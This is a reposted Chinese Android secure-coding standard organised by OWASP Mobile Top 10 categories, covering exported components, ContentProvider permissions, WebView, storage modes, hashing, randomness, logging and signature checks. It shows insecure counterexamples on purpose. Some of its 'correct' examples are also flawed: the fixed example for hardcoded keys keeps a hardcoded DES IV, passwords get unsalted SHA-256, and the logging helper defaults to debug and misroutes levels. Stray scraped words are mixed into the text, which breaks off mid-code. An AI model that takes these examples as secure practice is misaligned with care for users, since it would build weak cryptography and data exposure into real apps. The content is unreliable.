【安全開發】Android安全編碼規範

申明:本文非筆者原創,原文轉載自:https://github.com/SecurityPaper/SecurityPaper-web/blob/master/_posts/2.SDL%E8%A7%84%E8%8C%83%E6%96%87%E6%A1%A3/2018-08-17-SDL-6-Android%E5%AE%89%E5%85%A8%E7%BC%96%E7%A0%81%E8%A7%84%E8%8C%83.mdhtml

1.目的

爲使系統開發人員可以編寫符合安全要求的代碼,以下降代碼安全漏洞,減小代碼被利用的可能性,從而提高各系統安全水平,符合國家安全合規性要求,保障產品安全穩定運營以及信息安全,特制定本規範。html5

2.引用規範

  • 《信息安全技術移動智能終端我的信息保護技術要求》
  • 《YD/T 1438-2006 數字移動臺應用層軟件功能要求和測試方法》
  • 《YD/T 2307-2011 數字移動通訊終端通用功能技術要求和測試方法》
  • 《中國金融移動支付客戶端技術規範》
  • 《中國金融移動支付應用安全規範》
  • 《移動互聯網應用軟件安全評估大綱》
  • 《中國國家信息安全漏洞庫CNNVD》
  • 《OWASP Mobile Top 10 2017》

3.適用範圍

本規範適用於研發中心各級產品的設計、開發及管理過程。其它研發機構可參考本管理規範; Android安全編碼規範目標是爲開發人員提供安全編碼學習的參考資料,也可爲Android安全編碼和Android安全編碼人工審計提供依據。 安全編碼原則:java

長遠性和現實性相結合python

既要兼顧銀行的目前情況與長遠發展等因素,放眼將來、統籌規劃,又要具備可行性。android

全面性和針對性相結合c++

既要具備全面性、着眼全局、不能遺漏,又要突出重點,建設方案和實施計劃具備較強的針對性。git

總體性和階段性相結合github

既要制定總體發展規劃、安全建設藍圖等戰略性指導和安全策略文檔,又要制定出體系實施的階段性目標,分期分批實施。web

先進性和實用性相結合算法

在信息安全戰略和策略、目標和要求、規定和制度、技術、人員和知識等各方面,既要有先進性(例如虛擬化技術),又要有實用性。

開放性和可擴展性相結合

應採用最新且成熟的體系框架,保證具備開放性和可擴展性。

完整性和經濟性相結合

既要考慮採用的產品和技術在總體上具備完整性和一致性,又要儘可能保護銀行已有的軟硬件投資,使得整體上具備更好經濟性。


4.安全編碼規則

本篇參考OWASP Mobile Top 10 2016分別從平臺使用不當、不安全的數據儲存、不安全的通訊、不安全的認證、加密不足、不安全的受權、客戶端的代碼質量、代碼篡改、逆向工程、多餘的功能、其餘安全問題10個方面規定了如何在代碼方面防範軟件安全問題。這些問題一旦出現將會造成軟件安全漏洞如祕鑰使用不當、件最小化組件暴露等形成生產安全事故,可能帶來經濟、客戶、聲譽等方面重大的損失。

4.1.平臺使用不當


4.1.1.定義

「平臺使用不當」包涵Android控件的配置不當或編碼不當。包括Activity、Service、ContentProvider、Broadcast Receiver、Intent組件、WebView組件使用過程當中配置是否規範與編碼是否規範。

4.1.2.風險

「平臺使用不當」會形成的風險包括組件被惡意調用、惡意發送廣播、惡意啓動應用服務、惡意調用組件,攔截組件返回的數據、遠程代碼執行等。

4.1.3.防範方法


4.1.3.1.預防組件最小化組件暴露
  • 【規範要求】

針對不須要進行跨應用調用的組件,應在配置文件(AndroidManifest.xml)中顯示配置android:exported="false"屬性。

【詳細說明】

組件配置android:exported="false"屬性,代表它爲私有組件,只可在同一個應用程序組件間或帶有相同用戶ID的應用程序間才能啓動或綁定該服務。在非必要狀況下,若是該屬性設置爲「true」,則該組件能夠被任意應用執行啓動操做,形成組件惡意調用等風險。

  • 【代碼示例】

AndroidManifest.xml配置文件中activity組件的配置方式示例。

反例

<activity
     android:name="com.example.bkdemo2.LoginActivity" android:exported="true" android:label="@string/app_name" > </activity>

正例

<activity
     android:name="com.example.bkdemo2.LoginActivity" android:exported="false" android:label="@string/app_name" > </activity>

4.1.3.2.公開的組件安全
  • 【規範要求】

因特殊須要而公開的Activity、Service、Broadcast Receiver、Content Provider組件建議添加自定義permission權限進行訪問控制。

  • 【詳情說明】

因特殊須要而公開(exported=」true」)的對於須要公開的 Activity、Service、Broadcast Receiver、Content Provider組件採用自定義訪問權限的方法提供訪問控制波保護。經過自定義訪問權限保護後公開的組件只能被申請了該權限的外部應用(Application)調用,未申請權限的外部應用(Application)在調用時將會出現「java.lang.SecurityException: Not allowed to bind to service Intent」異常,形成調用失敗。

程序中的啓動/使用Activity、Service、Broadcast Receiver、Content Provider則由程序定位與需求來確認是否添加自定義訪問權限,啓動的Activity、Service、Broadcast Receiver、Content Provider自己是須要被其餘程序進行調用的,若是沒有特殊需求(該程序只容許指定APP啓動)的話就不能添加該權限。

【代碼示例】

  1. AndroidManifest.xml中的定義/註冊權限的寫法爲:
<permission
      android:name="com.ijiami.permission.testPermission" android:label="@string/app_name" android:protectionLevel="normal" />

2)AndroidManifest.xml中Activity組件使用已註冊的自定義權限寫法爲:

<activity
      android:name="com.example.bkdemo2.LoginActivity" android:exported="true" android:label="@string/app_name" android:permission="com.ijiami.permission.testPermission" > </activity>

3)AndroidManifest.xml中Service組件使用已註冊的自定義權限寫法爲:

<Service
      android:name="com.example.bkdemo2.LoginService" android:exported="true" android:label="@string/app_name" android:permission="com.ijiami.permission.testPermission" > </ Service>

4)AndroidManifest.xml中Receiver組件使用已註冊的自定義權限寫法爲:

<receiver  
      android:name="com.example.bkdemo2.testReceiver" android:exported="true" android:label="@string/app_name" android:permission="com.ijiami.permission.testPermission" > </receiver>

5)Receiver組件使用已註冊的自定義權限寫法(代碼中使用):

IntentFilter iFilter = new IntentFilter();
iFilter.addAction("com.example.bkdemo2.testReceiver");
this.registerReceiver(myReciver, iFilter, "com.ijiami.permission.testPermission", handler);

6)AndroidManifest.xml中ContentProvider組件使用已註冊的自定義權限寫法爲:

<provider
      android:name="com.example.bkdemo2.testProvider" android:exported="true" android:label="@string/app_name" android:permission="com.ijiami.permission.testPermission" > </provider>

7)外部應用須要使用自定義權限的寫法(AndroidManifest.xml配置)爲:

<uses-permission android:name="com.ijiami.permission.testPermission" />

8)外部應用Receiver組件須要使用自定義權限的寫法(代碼中配置)爲:

this.sendBroadcast(intent, "com.ijiami.permission.testPermission");

4.1.3.3.ContentProvider安全
  • 【規範要求】

對於不一樣場景的ContentProvider數據需配置不一樣的組件參數、造函數參數,對ContentProvider數據的使用過程進行保護。ContentProvider須要經過配置組件參數與設置不一樣構造函數參數來對不一樣場景的數據使用進行保護。

  • 【詳情說明】

ContentProvider組件是數據提供者組件,能夠爲外部應用提供統一的數據存儲和讀取接口。在ContentProvider的使用過程當中,應根據業務的須要,嚴格控制數據的增刪改查權限,避免非必要的權限開放。非必要的權限開放會形成數據泄露、數據完整性被破壞等安全風險。如:一段只讀數據開放了可寫權限,則任何的外部應用均可以對該數據進行篡改,形成數據損壞。一個Provider裏面可能有私有數據,也有公有數據。也就是說,有可能有些數據能夠公開,有些不能公開。而且,有些數據可讓別人修改,有些不能讓別人修改。

  • 【代碼示例】
  1. 單獨對設置pathPattern下的訪問控制權限(訪問pathPattern路徑下須要permission權限):
  2. 對設置了pathPattern的provider添加自定義訪問控制權限(訪問pathPattern路徑下文件須要添加自定義permission權限):
<provider
      android:name=".testProvider" android:authorities="com.ijiami.testProvider" android:multiprocess="true"> <path-permission android:pathPattern="/apk/.*" android:permission="com.ijiami.testProvider.permission.application.  read"/> </provider>

3)provider設置全局可讀權限:

<provider
     android:name=".testProvider" android:authorities="com.ijiami.testProvider" android:multiprocess="true" android:readPermission="com.ijiami.permission.readPermission" > </provider>

4)provider設置全局可寫權限:

<provider
     android:name=".testProvider" android:authorities="com.ijiami.testProvider" android:multiprocess="true" android:writePermission="com.ijiami.permission.writePermission" > </provider>

5)provider設置全局可讀/寫權限:

<provider
     android:name=".testProvider" android:authorities="com.ijiami.testProvider" android:multiprocess="true" android:permission="com.ijiami.permission.writeAndReadPermission" > </provider>

4.1.3.4.Intent意圖使用
  • 【規範要求】

爲了更高的數據安全及更小的性能消耗,在使用Intent進行組件(Activity、Content provider、Broadcast receiver、Service)間跳轉時應儘可能使用顯示調用,非特殊狀況,應避免使用隱式調用Intent進行權限設置,包括Activity、Content provider、Broadcast receiver、Service等,爲了數據安全與性能消耗須使用顯式調用盡可能減小使用隱式調用。

  • 【詳情說明】

顯式調用:經過指定Intent組件名稱來實現的,它通常用在知道目標組件名稱的前提下,使用Intent.setComponent()、Intent.setClassName()、Intent.setClass()方法進行目標組件的指向或者在Intent對象初始化「new Intent(A.class,B.class)」時指明須要轉向的組件。顯式調用意圖明確的指定了要激活的組件,通常在應用程序內部組件間跳轉時都應使用顯示調用。

隱式調用:經過Intent Filter來實現的,它通常在不能明確知道目標組件名稱的狀況下,經過設置動做(action)、類別(category)、數據(URI和數據類型)等隱式意圖的方式來進行目標跳轉,Android系統會根據設置的隱式意圖找到最合適的組件做爲目標組件進行跳轉。隱式調用通常是用於在不一樣應用程序之間的組件跳轉,因跳轉目標是由系統來進行判斷,特殊狀況下會出現目標錯誤,形成傳遞數據泄露的安全風險,而且隱式調用對性能消耗較大。

  • 【代碼示例】

顯式調用代碼:

Intent intent = new Intent(); Bundle bundle = new Bundle(); bundle.putString("id", "strID"); intent.setClass(this, Intent_Demo1_Result1.class); intent.putExtras(bundle); startActivity(intent);

4.1.3.5.預防Webview遠程代碼執行

【規範要求】

無特殊緣由,targetSdkVersion設置應大於等於17。如因特殊須要targetSdkVersion版本設置低於17,應禁止Webview遠程代碼執行權限,防止被遠程控制。

【詳情說明】

android targetSdkVersion版本低於17時,WebView組件存在遠程代碼執行漏洞,中間人能夠利用Webview的漏洞執行任意代碼。

若是因爲特殊緣由須要把targetSdkVersion設置爲低於17的時候,因webView自己存在的安全漏洞,應對webView.load指定加載的url/path的html/js文件進行認證與完整性驗證,確包加載的url/path完整性,防止由於url/path被篡改而形成的遠程控制的代碼執行風險。

【代碼示例】

<uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" />

4.1.3.6.數據備份和恢復設置

  • 【規範要求】

正式發佈的應用應關閉數據備份功能。應在AndroidManifest.xml的Application參數設置中將android:allowBackup參數顯示設置爲「false」,關閉非root狀況下容許對應用數據的備份與恢復功能。

  • 【詳情說明】

當在AndroidManifest.xml中application配置參數allowBackup被設置爲true或不設置該標誌時,應用程序數據能夠再非root狀態下進行數據的備份和恢復,攻擊者能夠經過adb調試指令直接複製應用程序數據。形成應用數據泄露風險。

  • 【代碼示例】
android:allowBackup="false"

4.2.不安全的數據儲存


4.2.1.定義

「不安全的數據儲存」涵蓋了平臺功能的誤用或平臺安全控件使用失敗引發的問題與預防方案,其中包括:SharedPreference數據儲存安全、密碼儲存安全、sdcard數據儲存安全。

4.2.2.風險

Android編碼規範中「不安全的數據儲存」會形成的風險包括:密碼泄露、敏感信息泄露、敏感數據完整性破壞等風險。

4.2.3.防範方法


4.2.3.1.SharedPreference數據儲存安全
  • 【規範要求】

進行SharedPreference數據存儲時應使用私有化(MODE_PRIVATE模式)存儲模式。避免使用共享可讀、可寫模式存儲。

  • 【詳情說明】

MODE_WORLD_READABL或MODE_WORLD_READABLE模式存儲數據表示該數據是可共享給其餘外部程序使用的,目前在android4.0以上版本已經廢棄了該模式,建議在使用SharedPreference存儲時應採用MODE_PRIVATE進行私有化模式存儲,防存在內容被替換的風險。

  • 【代碼示例】

反例:存在數據安全風險的SharedPreference建立方式:

SharedPreferences mySharedPreferences= getSharedPreferences("test",Activity.MODE_WORLD_READABLE); SharedPreferences mySharedPreferences= getSharedPreferences("test",Activity.MODE_WORLD_WRITEABLE);

正例:安全規範的SharedPreference建立方式:

SharedPreferences mySharedPreferences= getSharedPreferences("test",Activity.MODE_PRIVATE);

4.2.3.2.密碼儲存安全
  • 【規範要求】

在特殊狀況下須要對密碼進行落地存儲,不該存儲用戶的密碼信息,而是存儲用戶的密碼的摘要(HASH)信息,每次用戶登陸時進行摘要匹配。

  • 【詳情說明】

本地進行密碼信息存儲時,應儲存密碼的摘要(HASH)信息。預防終端被ROOT狀況下,受保護的系統目錄下的本地儲存數據被隨意訪問形成密碼泄露風險。

4.2.3.3.避免使用sdcard數據儲存
  • 【規範要求】

在進行數據避免將數據儲存到sdcard中,儘可能使用sqlite、sharedpreferences或系統私有目錄的file文件進行數據儲存。

  • 【詳情說明】

使用外部存儲實現數據持久化,這裏的外部存儲通常就是指的是sdcard。使用sdcard存儲的數據,不限制只有本應用訪問,任何能夠有訪問Sdcard權限的應用都可以訪問,容易致使信息泄漏安全風險。

4.3.不安全的通訊

4.3.1.定義

「不安全的通訊」涵蓋了在Android代碼編寫過程使用不安全的方式進行客戶端與服務端業務交互,好比:通信數據安全、會話安全等。

4.3.2 風險

Android編碼規範中「不安全的通訊」可能形成服務端儲存的數據被無權限訪問風險。

4.3.3.防範方法


4.3.3.1.會話安全
  • 【規範要求】

使用Http協議進行會話時,建議將session ID設置在Cookie頭中,服務器根據該sessionID獲取對應的Session,而不是從新建立一個新Session。

  • 【詳情說明】

當客戶端訪問一個使用session 的站點,同時在本身機器上創建一個cookie時,若是未使用服務端的session機制進行會話通訊則可能形成服務端儲存的數據存在被任意訪問風險。

  • 【代碼示例】
java.net.HttpURLConnection獲取Cookie: URL url = new URL("requrl"); HttpURLConnection con = (HttpURLConnection) url.openConnection(); // 取得sessionid. String cookieval = con.getHeaderField("set-cookie"); String sessionid; if (cookieval != null) { sessionid = cookieval.substring(0, cookieval.indexOf(";")); } java.net.HttpURLConnection發送設置cookie: URL url = new URL("requrl"); HttpURLConnection con = (HttpURLConnection) url.openConnection(); if (sessionid != null) { con.setRequestProperty("cookie", sessionid); } org.apache.http.client.HttpClient設置cookie: HttpClient http = new DefaultHttpClient(); HttpGet httppost = new HttpGet("url"); httppost.addHeader("Cookie", sessionId);

4.4.不安全的認證


4.4.1.定義

「不安全的認證」指在一個Android應用程序中,若是試圖在沒有適當的安全措施的狀況下,僅僅經過客戶端檢測進行用戶驗證或受權,那麼就是存在不安全認證的風險,好比:預防WebView自動保存密碼功能。

4.4.2.風險

Android編碼中「不安全的認證」會形成的風險包括:WebView使用使用過程當中的密碼泄露;

4.4.3.防範方法


4.4.3.1.預防WebView自動保存密碼功能
  • 【規範要求】

在使用WebView控件時,應顯示關閉控件自帶的記住密碼功能。即:設置WebView.getSettings().setSavePassword(false);

  • 【詳情說明】

Google在設計WebView的時候提供默認自帶記住密碼的功能,即程序在不設置theWebView.getSettings().setSavePassword(false);的時候WebView在使用密碼控件後會自動彈出界面提示用戶是否記住密碼,若是用戶選擇「記住」選擇項後密碼會明文儲存在/data/data/com.package.name/databases/webview.db中,若是設備中出現了Root提權的其餘應用的時候該應用則可直接讀取全部應用經過webView儲存的密碼。因此在使用Webview時應顯示關閉Webview的自動保存密碼功能,防止用戶密碼被Webview明文存儲在設備中。

  • 【代碼示例】

1)關閉WebView的自動保存密碼功能代碼爲:

theWebView.getSettings().setSavePassword(false);

2)不關閉WebView的自動保存密碼功能時功能提示截圖:

功能提示截圖


4.5.加密不足


4.5.1.定義

「加密不足」指當一個Android程序存儲數據的位置自己教脆弱時,那麼這個漏洞就會產生,好比:加密算法使用不規範、硬編碼形式儲存密鑰等。

4.5.2.風險

Android編碼規範中「加密不足」會形成的風險包括:已加密的敏感數據被破解與竊取風險。

4.5.3.防範方法


4.5.3.1.加密算法使用規範
  • 【規範要求】
  1. 不建議對密碼等敏感信息使用以下加密算法:
    • MD2
    • MD4
    • MD5
    • SHA-1
    • PIPEMD

2)安全規範建議使用加密算法:

    • SHA-256
    • SHA-3
  • 【代碼示例】

反例:不建議對密碼、敏感等信息使用的加密算法類型(MD5):

MessageDigest md = MessageDigest.getInstance("MD5"); byte[] md5Bytes = md.digest("password".getBytes()); String result = Base64.encodeToString(md5Bytes, Base64.DEFAULT);

正例:安全規範對密碼、敏感信息加密要求使用的算法類型(SHA-256):

byte[] input = "password".getBytes(); MessageDigest sha256 = MessageDigest.getInstance("SHA-256"); sha256.update(input); byte[] output = sha256.digest(); String result = Base64.encodeToString(output, Base64.DEFAULT);

4.5.3.2.禁止硬編碼形式存儲密鑰
  • 【規範要求】

1)使用SharedPreference進行密鑰存儲時,應對密鑰進行加密處理。使用so庫進行密鑰的存儲,而且將總體的加密、解密操做都放在so庫中進行。將密鑰進行加密存儲在assets目錄下,將加密、解密過程存儲在so庫文件中,並對so庫文件進行加殼等安全保護,加強密鑰保護的安全強度。

  • 【詳情說明】

信息安全的基礎在於密碼學,而經常使用的密碼學算法都是公開的,加密內容的保密依靠的是密鑰的保密,密鑰若是泄露,對於對稱密碼算法,根據用到的密鑰算法和加密後的密文,很容易獲得加密前的明文;對於非對稱密碼算法或者簽名算法,根據密鑰和要加密的明文,很容易得到計算出簽名值,從而僞造簽名。

【代碼示例】

反例

/**
 * DES算法,加密  *  * @param data  * 待加密字符串  * @param key  * 加密私鑰,長度不可以小於8位  * @return 加密後的字節數組,通常結合Base64編碼使用  * @throws CryptException  *        異常  */ private static String encode(String key, byte[] data) throws Exception { try { DESKeySpec dks = new DESKeySpec(key.getBytes()); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES"); Key secretKey = keyFactory.generateSecret(dks); Cipher cipher = Cipher.getInstance(ALGORITHM_DES); IvParameterSpec iv = new IvParameterSpec("12345678".getBytes()); AlgorithmParameterSpec paramSpec = iv; cipher.init(Cipher.ENCRYPT_MODE, secretKey, paramSpec); byte[] bytes = cipher.doFinal(data); return Base64.encodeToString(bytes, 0); } catch (Exception e) { throw new Exception(e); } }

正例:

  /**
 * DES算法,解密  *  * @param data  * 待解密字符串  * @param key  * 解密私鑰,長度不可以小於8位  * @return 解密後的字節數組  * @throws Exception  * 異常  */ private static byte[] decode(String key, byte[] data) throws Exception { try { DESKeySpec dks = new DESKeySpec(key.getBytes()); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES"); Key secretKey = keyFactory.generateSecret(dks); Cipher cipher = Cipher.getInstance(ALGORITHM_DES); IvParameterSpec iv = new IvParameterSpec("12345678".getBytes()); AlgorithmParameterSpec paramSpec = iv; cipher.init(Cipher.DECRYPT_MODE, secretKey, paramSpec); return cipher.doFinal(data); } catch (Exception e) { throw new Exception(e); } }

4.6.不安全的受權


4.6.1.定義

「不安全的受權」指在一個Android應用程序中,若是試圖在沒有適當的安全措施的狀況下,僅僅經過客戶端檢測進行用戶驗證或受權,那麼就是存在風險的,好比:分配惟一ID安全策略、避免使用IMEI做爲設備惟一ID等。

4.6.2.風險

Android編碼規範中「不安全的受權」形成的風險包括:本地儲存的敏感數據被非法替換、APP被惡意刷量、信息僞造等風險。

4.6.3.防範方法


4.6.3.1.分配惟一的ID
  • 【規範要求】

爲每個具備訪問權限的用戶分配惟一的ID,以保證任何對關鍵數據和支付軟件進行的操做都可以被追溯到已知的、被受權的用戶。

  • 【詳情說明】

爲每個具備訪問權限的用戶分配惟一的ID,以保證任何對關鍵數據和支付軟件進行的操做都可以被追溯到已知的、被受權的用戶;惟一ID的使用場景分析以下:

1)存在安全隱患的數據儲存方案以下:

存在安全隱患的數據儲存方案

經過如上方案加密的數據未與終端或用戶惟一ID綁定,數據可直接被抽離出來後從新在任何其餘終端被使用。

2)進行安全規範類加密的原理以下:

進行安全規範類加密的原理

經過如上方案對數據加密後,祕鑰的組成加入終端或用戶惟一ID,即便在數據被抽離出來後使用到任意APP中,但該數據因爲在解密使用過程當中與終端或用戶的惟一ID不匹配而致使數據解密失敗,沒法使用,能有效防範數據調用的風險。

4.6.3.2.避免使用IMEI做爲設備惟一ID
  • 【規範要求】

在須要使用設備惟一ID的業務場景中,應使用DEVICE_ID、MAC ADDRESS、Sim Serial Number、IMEI等數據據組裝後生成Hash值來做爲設備惟一ID。避免單獨使用IMEI做爲設備惟一ID標識。

  • 【詳情說明】

因爲Android領域中有很多模擬器而模擬器可模擬與篡改IMEI;IMEI在個別特殊系統與終端在中是沒法獲取到的,基於如上分析若是把IMEI做爲設備的惟一ID將出現必定的重複概率。

  • 【代碼示例】

1)獲取DEVICE_ID

TelephonyManager tm = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE); String DEVICE_ID = tm.getDeviceId();

2)獲取MAC ADDRESS

WifiManager wifi = (WifiManager) getSystemService(Context.WIFI_SERVICE); WifiInfo info = wifi.getConnectionInfo(); String macAdress = info.getMacAddress();

3)獲取Sim Serial Number

TelephonyManager tm = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE); String SimSerialNumber = tm.getSimSerialNumber();

4)獲取IMEI

String IMEI = ((TelephonyManager) getSystemService(TELEPHONY_SERVICE)).getDeviceId();

4.7.客戶端代碼質量


4.7.1.定義

「客戶端代碼質量」指一個Android應用程序在編碼過程當中使用錯誤配置、過期API、缺乏校驗等編碼而形成的風險,好比:APP拒絕服務、targetSdkVersion設置、隨機數使用規範、禁止輸出日誌信息等。

4.7.2.風險

Android編碼規範中「客戶端代碼質量」會形成的風險包括:APP拒絕服務、使用WebView時引發的遠程惡意代碼執行、使用隨機數業務出現規律、應用敏感數據泄露等。

4.7.3.防範方法


4.7.3.1.預防APP拒絕服務

  • 【規範要求】

對組件間傳遞的參數在接收前進行非空驗證,避免因空參數形成的APP拒絕服務

  • 【詳情說明】

Activity,Service等組件因業務須要,部分是對外開放的(AndroidManifest.xml中exported屬性爲true或定義的intent-filter的組件是可導出組件),當這些組件對外部應用傳遞的參數未作校驗時,可能因傳入參數異常致使APP拒絕服務。對外開放組件要求嚴格校驗輸入參數,注意空值斷定及類型轉換判斷,防止因爲解析異常參數致使的應用崩潰。

  • 【代碼示例】
  1. 反例:會形成APP拒絕服務的Activity帶參數跳轉
@Override
protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent intent = getIntent(); Bundle mBundle = intent.getExtras(); String getValue = mBundle.getString("value"); }

2)正例:預防形成APP拒絕服務的Activity帶參數跳轉

@Override
protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent intent = getIntent(); if (intent == null) return; Bundle mBundle = intent.getExtras(); if (mBundle == null) return; String getValue = mBundle.getString("value"); if (getValue == null) return; }

4.7.3.2.targetSdkVersion設置
  • 【規範要求】

因業務須要,在代碼在那個須要使用低版本系統API是,一般咱們會使用反射系統API的方式來進行調用,若是低版本系統API與高版本系統API存在衝突時,系統會參考清單文件(AndroidManifest.xml)中配置的targetSdkVersion參數來匹配最佳的系統API。若是因特殊緣由須要把targetSdkVersion值設置爲低於17時,因爲webView的安全漏洞問題,須要對webView.load加載指定的url/path的html/js進行認證與完整性驗證,確認load的url/path爲原始文件,而非被篡改後文件。防止加載的文件存在惡意注入的遠程控制代碼。

  • 【詳情說明】

因Webview組件自身漏洞,建議AndroidManifest.xml中的targetSdkVersion屬性應設置爲大於等於17。targetSdkVersion=」17」即表示程序的測試目標機器是os 4.2系統,不建議把targetSdkVersion的參數設置低於17,主要的緣由包括:1)os4.2如下系統的手機現階段市場佔有率很是低 2)os4.2及其以上的系統修復了以前系統中存在的大量安全問題與Bug,好比webView的安全問題等等;

注意:程序中使用低版本API函數狀況的時候,程序會使用反射來進行低版本函數API的調用。若是有重複API與修復API的衝突時候程序會參考targetSdkVersion的設置選擇最佳API進行調用或者反射。

  • 【代碼示例】
<uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" />

4.7.3.3.隨機數使用規範
  • 【規範要求】

因業務要求須要在代碼中使用隨機數功能,隨機機率功能應經過/dev/urandom或者/dev/random獲取的熵值對僞隨機數生成器PRNG進行初始化操做。

  • 【詳情說明】

使用SecureRandom時不要使用SecureRandom(byte[]seed)這個構造函數,會形成生成的隨機數不隨機。建議經過/dev/urandom或者/dev/random獲取的熵值對僞隨機數生成器PRNG進行初始化操做。

  • 【代碼示例】

1)反例(不安全的隨機數獲取方法):

Random mRandom = new Random(); int rNum = mRandom.nextInt() * 10; byte[] seed = new byte[16]; SecureRandom mSRandom = new SecureRandom(seed); byte[] seed = new byte[16]; SecureRandom mSRandom = new SecureRandom(); mSRandom.setSeed(seed); long seed = 123451; SecureRandom mSRandom = new SecureRandom(); mSRandom.setSeed(seed);

2)正例(安全規範類的隨機數獲取方法):

byte[] output =new byte[16]; SecureRandom mSRandom = new SecureRandom(); mSRandom.nextBytes(output);
4.7.3.4.發佈應用中禁止輸出日誌信息
  • 【規範要求】

  • 1)因app的錯誤採集、異常反饋等需求而必要的日誌建議遵循的安全編碼規範:

    • Log.e()/Log.w()/Log.i():建議打印操做日誌;
    • Log.d()/Log.v():建議打印開發日誌;
  • 2)敏感信息不該用Log.e()/Log.w()/Log.i(), System.out/System.err 進行打印;

  • 3)敏感信息打印建議使用 Log.d()/Log.v()(前提:release版本將被自動去除);

  • 4)公開的APK文件應該是release版而不是development版;

  • 5)使用android.util.Log類的方法輸出日誌,不推薦使用System.out/err;

  • 6)ProGuard不能移除以下日誌:Log.w(「Log」,"result:" + value).,因此建議使用全局變量控制日誌的輸出;

  • 7)不建議將日誌輸出到sdscard中,由於sdcard的文件可被任何APP進行訪問與讀寫。

  • 【詳情說明】

  • 1) development version :

開發版,正在開發內測的版本,會有許多調試日誌;

  • 2)release version :

發行版,簽名後開發給用戶的正式版本,日誌量較少;

  • 3)android.util.Log提供了五種輸出日誌的方法:

Log.e(), Log.w(), Log.i(), Log.d(), Log.v();

  • 【代碼示例】

安全規範建議使用日誌統一管理代碼:

import android.util.Log;
/** * Log統一管理類 * * * */ public class MyLog { private MyLog() { /* cannot be instantiated */ throw new UnsupportedOperationException("cannot be instantiated"); } // 是否須要打印bug,能夠在application的onCreate函數裏面初始化 public static boolean isDebug = true; private static final String TAG = "way"; // 下面四個是默認tag的函數 public static void i(String msg) { if (isDebug) Log.i(TAG, msg); } public static void d(String msg) { if (isDebug) Log.d(TAG, msg); } public static void e(String msg) { if (isDebug) Log.e(TAG, msg); } public static void v(String msg) { if (isDebug) Log.v(TAG, msg); } // 下面是傳入自定義tag的函數 public static void i(String tag, String msg) { if (isDebug) Log.i(tag, msg); } public static void d(String tag, String msg) { if (isDebug) Log.i(tag, msg); } public static void e(String tag, String msg) { if (isDebug) Log.i(tag, msg); } public static void v(String tag, String msg) { if (isDebug) Log.i(tag, msg); } }

4.8.代碼篡改


4.8.1.定義

「代碼篡改」指當一個應用程序安裝至移動設備後,代碼和數據資源就存放到設備中了,攻擊者能夠經過直接修改代碼、動態修改內存數據、更改或替換應用程序使用的系統API等方法,顛覆應用程序的運行過程和結果,以達到自身的不正當目的。

4.8.2.風險

Android編碼規範中「代碼篡改」會形成的風險包括:二進制修改、本地資源修改、鉤子注入(函數鉤用)、函數重要業務邏輯篡改等。

4.8.3.防範方法


4.8.3.1.簽名校驗
  • 【規範要求】

對應用程序的簽名MD5值進行校驗以保證應用程序的完整性。當校驗結果顯示程序完整性被破壞後,應用程序應主動中止自身運行。

  • 【詳情說明】

打包簽名後APK安裝文件中任何文件必定被改動(如反編譯),那麼簽名信息將失效。在整個APK編譯過程當中,是先進行APK文件的編譯操做,而後進行簽名操做。APK的簽名方式包括keystore、私鑰/公鑰兩種簽名策略,而兩種簽名策略都基於證書文件進行簽名,而每個APP的生產者的簽名證書都是本身獨有的。 基於如上背景狀況下若是在程序中進行對自身簽名的校驗便可保證程序安全。

  • 【代碼示例】

Android中獲取自簽名代碼:

/**
 * 字節數組轉字符數組  * @param mSignature  * @return  */ private char[] toChars(byte[] mSignature) { byte[] sig = mSignature; final int N = sig.length; final int N2 = N * 2; char[] text = new char[N2]; for (int j = 0; j < N; j++) { byte v = sig[j]; int d = (v >> 4) & 0xf; text[j * 2] = (char) (d >= 10 ? ('a' + d - 10) : ('0' + d)); d = v & 0xf; text[j * 2 + 1] = (char) (d >= 10 ? ('a' + d - 10) : ('0' + d)); } return text; } /**  * 獲取簽名信息  * @param context  * @return  */ public String getSign(Context context) { PackageManager pm = context.getPackageManager(); List<PackageInfo> apps = pm .getInstalledPackages(PackageManager.GET_SIGNATURES); Iterator<PackageInfo> iter = apps.iterator(); while (iter.hasNext()) { PackageInfo packageinfo = iter.next(); String packageName = packageinfo.packageName; if (packageName != null && packageName.equals(context.getPackageName())) { return new String(toChars(packageinfo.signatures[0].toByteArray())); } } return null; }

Java中獲取APK簽名信息代碼:

/**
 * 字節數組轉字符數組  *  * @param mSignature  * @return  */ private static char[] toChars(byte[] mSignature) { byte[] sig = mSignature; final int N = sig.length; final int N2 = N * 2; char[] text = new char[N2]; for (int j = 0; j < N; j++) { byte v = sig[j]; int d = (v >> 4) & 0xf; text[j * 2] = (char) (d >= 10 ? ('a' + d - 10) : ('0' + d)); d = v & 0xf; text[j * 2 + 1] = (char) (d >= 10 ? ('a' + d - 10) : ('0' + d)); } return text; } /**  * 解析java.security.cert.Certificate對象  * @param jarFile  * @param je  * @param readBuffer  * @return  */ private static java.security.cert.Certificate[] loadCertificates( JarFile jarFile, JarEntry je, byte[] readBuffer) { try { InputStream is = jarFile.getInputStream(je); while (is.read(readBuffer, 0, readBuffer.length) != -1) { } is.close(); return (java.security.cert.Certificate[]) (je != null ? je .getCertificates() : null); } catch (Exception e) { e.printStackTrace(); System.err.println("Exception reading " + je.getName() + " in " + jarFile.getName() + ": " + e); } return null; } /**  * 獲取簽名  * @param 文件路徑  * @return  */ public static String getApkSignInfo(String apkFilePath) { byte[] readBuffer = new byte[8192]; java.security.cert.Certificate[] certs = null; try { JarFile jarFile = new JarFile(apkFilePath); Enumeration<?> entries = jarFile.entries(); while (entries.hasMoreElements()) { JarEntry je = (JarEntry) entries.nextElement(); if (je.isDirectory()) { continue; } if (je.getName().startsWith("META-INF/")) { continue; } java.security.cert.Certificate[] localCerts = loadCertificates( jarFile, je, readBuffer); if (certs == null) { certs = localCerts; } else { for (int i = 0; i < certs.length; i++) { boolean found = false; for (int j = 0; j < localCerts.length; j++) { if (certs[i] != null && certs[i].equals(localCerts[j])) { found = true; break; } } if (!found || certs.length != localCerts.length) { jarFile.close(); return null; } } } } jarFile.close(); return new String(toChars(certs[0].getEncoded())); } catch (Exception e) { 